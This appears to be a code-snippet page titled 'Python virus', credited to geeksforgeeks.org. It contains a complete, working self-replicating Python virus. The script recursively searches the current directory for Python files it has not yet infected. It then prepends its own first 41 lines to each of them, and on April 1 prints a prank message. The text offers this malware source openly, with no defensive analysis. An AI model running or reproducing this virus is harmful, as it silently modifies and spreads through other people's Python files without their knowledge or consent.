Python virus

#!/usr/bin/python 
import os, datetime, inspect 
DATA_TO_INSERT = "GEEKSFORGEEKS"
  
#search for target files in path
def search(path):  
    filestoinfect = [] 
    filelist = os.listdir(path) 
    for filename in filelist: 
          
        #If it is a folder
        if os.path.isdir(path+"/"+filename):  
            filestoinfect.extend(search(path+"/"+filename)) 
              
        #If it is a python script -> Infect it    
        elif filename[-3:] == ".py":
              
            #default value
            infected = False  
            for line in open(path+"/"+filename): 
                if DATA_TO_INSERT in line: 
                    infected = True
                    break
            if infected == False: 
                filestoinfect.append(path+"/"+filename) 
    return filestoinfect 
  
#changes to be made in the target file 
def infect(filestoinfect): 
    target_file = inspect.currentframe().f_code.co_filename 
    virus = open(os.path.abspath(target_file)) 
    virusstring = "" 
    for i,line in enumerate(virus): 
        if i>=0 and i <41: 
            virusstring += line 
    virus.close 
    for fname in filestoinfect: 
        f = open(fname) 
        temp = f.read() 
        f.close() 
        f = open(fname,"w") 
        f.write(virusstring + temp) 
        f.close() 
          
#Not required actually        
def explode(): 
    if datetime.datetime.now().month == 4 and datetime.datetime.now().day == 1: 
            print ("HAPPY APRIL FOOL'S DAY!!")
filestoinfect = search(os.path.abspath("")) 
infect(filestoinfect) 
explode()

Source: geeksforgeeks.org

How to program a virus in python

# great idea

-3

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